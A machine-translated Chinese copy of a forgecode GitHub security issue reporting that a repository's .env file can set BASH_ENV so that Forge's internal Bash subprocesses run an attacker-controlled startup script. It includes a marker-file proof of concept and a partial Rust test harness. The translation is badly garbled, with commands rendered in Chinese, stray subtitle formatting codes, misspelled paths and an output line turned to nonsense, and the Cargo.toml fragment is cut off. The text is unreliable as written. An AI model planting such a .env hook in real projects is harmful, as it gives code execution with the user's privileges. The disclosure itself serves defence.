#3841·forgecode

[安全性] 项目 `.env` 可以通过 Bash 启动钩子执行任意代码

作者: glmgbj233创建于 2026年8月12日更新于 2026年9月17日
标签type: bugstate: inactive

QQ 错误描述

□ 错误描述

Forge从当前工作目录向上行走时自动加载.env'文件。 所装入的变量仍留在Forge的环境中,被每个外壳子进程所继承. 因此,由存储器控制的.env'可将`BASH-ENV'设定为存储器控制的脚本。 当Forge后来运行一个正常的内部Bash命令时,非交互的Bash源在执行所请求的命令前会脚本.

这赋予了带有Forge用户权限的任意代码执行. 它不要求模型选择一个 shell 工具,当前的 shell-tool 权限检查并不覆盖此路径.

这个问题可在最近测试的 " 主要 " 修订中复制:6ed5d37b6b45a2b6220877fd9aec5ba4c4b7f3c0 ' (0.1.0',2026-08-08)。 复制只使用标记文件,不读取证书或提出网络请求.

  • 重现步骤

□ 步骤重现

以下为端到端CLI触发路径. 需要配置一个提供者来完成聊天请求,但仅标出Rust带以下的动态验证相同的`.env'装入和shell-spawn源到汇路径而不与AI提供者联系。 使用可支配目录并确保“BASH ENV”尚未在母环境中设置。

  1. 从受影响的修订中建立堡垒:

{\fn黑体\fs22\bord1\shad0\3aHBE\4aH00\fscx67\fscy66\2cHFFFFFF\3cH808080}你觉得呢? git 克隆 https://GitHub.com/tailcallhq/forgicode.git cd 伪造码 git 离职 6ed5d37b6b45a2b6220877fd9aec5ba4c4b7f3c0 货物建造 -- -- 释放


2. 创建一个包含恶意`.env'和只标记启动脚本的可支配寄存器:

{\fn黑体\fs22\bord1\shad0\3aHBE\4aH00\fscx67\fscy66\2cHFFFFFF\3cH808080}你觉得呢?
POC DIR="$(mktemp-d)" (中文(简体) ).
cat > “$POC DIR/ startup.sh” — — EOF
打印“ pwned\n” > “$POP DIR/marker.txt”
欧法尔
打印“ BASH ENV=%s/ sartup.sh\n” “$POC DIR” > “$POC DIR/.env”
git - C “ $POC  DIR” 输入
  1. 运行可信任的Forge 二进制,将当前目录设置到可支配存储器。 使用配置的提供者, Forge 输入正常的聊天流程,并在指令发现时执行内部 shell 命令 :

{\fn黑体\fs22\bord1\shad0\3aHBE\4aH00\fscx67\fscy66\2cHFFFFFF\3cH808080}你觉得呢? cd “$POC DIR” env -u BASH ENV SHELL=/bin/bash/path/to/forgicode/目标/放行/forge - 即时"你好"


4. 检查标记:

{\fn黑体\fs22\bord1\shad0\3aHBE\4aH00\fscx67\fscy66\2cHFFFFFF\3cH808080}你觉得呢?
猫“$POC DIR/marker.txt”

产出是:

页:1 倾斜


源到汇的行为在没有AI提供者的情况下被动态验证,通过使用这个只标出Rust的手柄,调用Forge的公共配置读取器和命令执行器. 从Forge检出,在根工作空间成员列表中加入"poc/env-repro",并创建"poc/env-repro/Cargo.toml"并加: .

时间轴:
[包装]
名称 = "forgicode env repro"
版本 = "0.1.0" 。
版本 = "2024"

[依
无论如何="1"
临时文件="3"
tokio={版本="1",特征= ["macros","r-多行"]].
伪造  config = {路径=". /. / crates/forge config"} 存档副本.
伪造 app={路径="././crates/forge app"}
伪造 域={路径="././crates/forge 域"}
伪造 infra={
. . . . . . .

内容来源: tailcallhq/forgecode